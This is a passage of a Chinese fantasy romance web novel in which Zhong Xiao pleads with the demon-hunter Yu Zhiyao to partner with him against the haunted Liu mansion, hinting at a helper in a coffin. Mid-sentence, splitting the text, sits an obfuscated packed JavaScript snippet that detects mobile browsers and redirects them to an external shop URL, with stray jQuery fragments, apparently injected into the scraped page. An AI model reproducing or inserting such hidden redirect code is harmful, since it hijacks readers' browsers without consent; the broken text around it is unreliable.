钟逍“咳”了一声,澄澈的眼眸落在烛芯上,染上澄黄。他不敢抬头,嘴里一味嘀咕着:“那不是,那不是不得已而为之吗……”
于之遥不说话,往椅背上一靠,就这么挑眉盯着他,似乎在等他能说出什么花来。
若他什么也说不出来,那……
她暗暗磨了磨牙。
但等来等去,没等来他的狡辩,反倒蜡烛忽然“噗”的一声炸了道烛花。对面的钟逍似乎被吓到了一般,眼睫微颤一瞬。
他这才回神,连忙咽了口口水,依旧不敢抬头,只小声说了句:“想来之遥会理解我的,对吧?”
于之遥瞥他一眼:“理解?”
难道她是什么很贱的人吗?
钟逍快速瞥她一眼,收回,煞有介事的点点头:“既然你这么有本事,何必这么……”
“等等,”他忽然想到什么,眼睛亮了亮,抬起头,仔细看着她道:“之遥既然是无所不能的镇邪使,那这趟一定是有备而来的了?”
他再次满脸灿烂,一点点凑近她道:“怪不得我一见之遥就觉得如此亲切仰慕,原来你就是我一直在等的人啊。”
不用于之遥说话,他更凑近一点,盯着她的眼睛,满脸期待道:“那之遥对刘府怎么看,可有想到办法能解决那刘府的事呢?”
他明显很在意这点,眼睛亮晶晶的。于之遥看他一会儿,眨几下眼睛,才说道:“这和你有什么关系?”
“刘府不是将你赶出来了么?”
“而且,”她睨他两眼,又用重音补充:“不是你自己偷跑的吗?”
“所以现在怎么又关心起来了?”
她瞪他一眼,“哼”了一声道:“想转移话题,倒也不用这么……”
“咳咳!那都是意外。”
钟逍像是被呛到一般,咳了几声,还不忘快速打断她的话。冷静后他又掠过这个话题,挑眉看她两眼,只管和她说道:“而且那和我可太有关系了,我怎么不能关心呢?”
他眨眨眼,捧着脸蛋,在烛光下笑盈盈的看着她说:“身为清水县子民,我当然想看清水县早日河清海晏,重获安宁啊。”
他直勾勾看着她:“之遥,你能解决吗?”
那双多情的眼一旦认真起来,便装满细碎澄黄的光。多看两眼,似乎能把人心肠都看软了。
于之遥下意识避开他的视线,“唔”了一声。她倒是没再挑他的刺,偏头看着蜡烛,倒真顺着他的话开始说起来,只不过语气依旧算不上好:“情况嘛……暂且不好说。毕竟那刘府的情况我所知甚少,所以……你又知道多少有用的?还不快快说来。”
于之遥又想起了一桩事,抬头看他一眼,便问道:“那去主城越级报官之人,便是你么?可是报官时为何只说刘府有人失踪,而不说那刘府的反常之处?”
于之遥微微眯眼,语气不太好:“你知道这耽误了我多少功夫么?害得我都没有提前准备,才会……差点在刘府栽个跟头。”
当然,此乃假话。
实则镇邪司接收到这桩案子时,便派人去清水县探了探。那人久去不归,镇邪司觉得不妥,就上报了明知堂。
于之遥接到明知堂发给她的任务的时候,正在准备回明知界的事宜。于是也没多打听,便直接上路了。
她本想着区区一黄品任务能有多难?还不如早去早回,所以……
但真相只有她知道就好了,于之遥瞥了钟逍一眼,悠悠叹了一声,只管甩锅:“情报太少,我准备不多。所以现在嘛,略感棘手。”
钟逍单手托腮,听到现在,神情愣了愣,连忙又摇了摇头:“我请一个朋友过去的,也许……他是说少了吧。”
钟逍意外干脆,认下了这个锅。于之遥刚直勾勾看着他,又听他话音一转道:“不过,既然棘手。那不如,之遥和我联手?”
他说着点点头,眼里充斥着异样的神采,映着点点星光,直直看着她说:“我们携手,一起还清水县一片安宁,之遥你觉得如何?”
“……什么?”
于之遥起初还以为自己听错了,她歪歪头,却看见钟逍格外认真的目光,似乎还挺期待。她沉默一会儿,偏头,上下打量他一眼,忍不住好奇:“你有什么本领,敢和我合作呢?”
她说话并不难听,语气也很寻常。但她左眼似乎写着“你是?”右眼写着“配吗?”
钟逍眼睛一闪,挪来挪去又挪回她脸上,语气很自然道:“你别看我只是一个普通凡人,但我……很有本领啊,我还是渡厄使呢,更掌握许多你不知道的情报。所以和我合作,包你能成功,之遥,这样你都不心动吗?”
他越说越有底气,似乎都不怕于之遥会再嘲笑他了。他眼睛亮晶晶的,好似还觉得她不会不答应一般。
于之遥默默看他,一时没说话。
的确,他说的不无道理。
他能好好从吃人的刘府里出来,就证明他有一定本领。
再说他还知道西府,见过人虫,想来能为她解答不少疑问。
可是……
于之遥很疑惑,歪头看着他说:“你不是刚刚还想着离开清水县么?现在,怎么又要和我联手,难道现在你就不害怕了?”
钟逍依旧笑盈盈道:“害怕啊。”
“不过,”他凑近于之遥,眨眨眼睛说:“我相信之遥一定能保住我,对不对?”
于之遥愣了一下,听明白后略微睁大眼,看着他说:“什么,你还要我保护你?”
钟逍一脸理所当然,看着她说:“我帮你完成任务,你保护我平安,这不是应该的么?”
于之遥抿了下唇,立马婉拒:“谢谢,我不和凡人合作。”
钟逍急忙挺起背:“为什么?”
见她表情认真,他咬了下唇,看她一眼,继续絮絮叨叨:“你还看不起凡人么?之遥,这可不行。再说你一不知道刘府状况,二没有人接应。难道你,你不想快速解决这场灾难么?”
那当然……
她思索一瞬,抬头再看。见钟逍表情越来越幽怨,又说的字字恳切。
所以她仔细想了想……
“算了,你太麻烦。”
她说着嘴角拉出一道平平的弧度,垂着眸,手也撑在桌子上,像是对他失去了兴趣,打算起身离去了。
钟逍立马急了,皱着眉头,伸手便想阻拦她:“等等!”
于之遥看了眼他伸过来的手,再扭头看他一眼,没说她还没打算走。
钟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17744100|209194||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
逍正将脸挪开,望着棺材的方向,神情带着几分肃穆道:“那再加一个帮手,他可不是凡人,这总行了吧?”
帮手?
于之遥闻言随他一同看向棺材。
那棺材此时倒没什么动静了,让她差点忽略过去。
不过她的确很好奇,棺材里到底装着什么东西?果真是他的帮手么?
那……厉害么?
她在这边思索着,那边钟逍先收回目光。看了她一眼,忽然凑近她,压低声线道:“除了是帮手,他还是刘府闹鬼的起端。这么说……你会答应么?”
于之遥立马来了精神,眼睛闪亮。看看棺材又看看他,好奇道:“这话又是什么意思?”
“想知道?”
钟逍眨眨眼,立马说:“和我联手啊。”
他看着于之遥,连笑两下,一字一句强调:“到时候不管你想知道什么,我都能告诉你。而且……我愿意陪你去刘府涉险,如此可好?”
于之遥:“……”
这话大概是好话,钟逍说的也很有诚意,但她却听得一言难尽了。
于之遥叹息一声,单手托住脸,直直看着钟逍浸在烛光下的脸蛋,她语气平淡但不简单道:“你说的陪我涉险,是会将所有锅都推我头上,等我吸引别人的目光,你好直接跑路,对么?”
“我……当然不是了……”
钟逍眼神闪躲了好一会儿,忽然长长叹息一声,然后他手在桌子上一撑,直接起身。于之遥正疑惑追着他看,却见他抬脚没往外走,反而走到自己面前。
随后他一撩衣袍,竟直接跪在她腿边,再次抱住她的腿耍赖道:“求你了,好之遥。我错了,我再也不会丢下你偷偷跑路了。如果你不信……就拿锁链将我捆起来行不行?”
于之遥在他碰上来时就浑身一麻,等他说完又打了个哆嗦。
她连忙伸出一根手指推他的肩膀,同时喊道:“喂,你又想耍赖?你以为这就有用了?”
钟逍恍若未闻,只管抬起水润的眸子,幽幽看她半天,脸上凑起一个脆弱的表情:“求你了,之遥,就带我一个,行不行?”
“阿逍真的很有用的,要不要试试再说?”
他又开始卖惨了,偏偏他的确很有天赋,知道该怎么利用那张脸让她心软。
可是……
于之遥“咳”了一声,刻意偏开视线,直接起身,不客气将他从自己身上一把撕开,再往椅子上一按。
也不管他“嘶”了一声是不是痛到了,她直接快速走开。走到几步之外,才回头,远远盯住那个只会耍无赖的人说:“你为何一定要和我一起不可,怎么,你忽然疯了吗,真想求死了不成?”
对上他似含水雾又似含怨的眼神,她一卡壳,差点就答应了。但想到答应他的下场,总觉得比被师兄揍一顿都要凄惨。
她眼神闪烁,不再看他。想了想,又换了一副好语气道:“那刘府好危险,你何必和我一起受苦,倒不如……”
她慢慢抬头看他,还没想好下面的话该说什么。钟逍回看她几眼,像是情绪冷静下来,连叹了好几声。
随后他忽然垂下眸,轻轻咬了下唇,用很认真的声线和她说道:“那如果我说……我死不了呢?”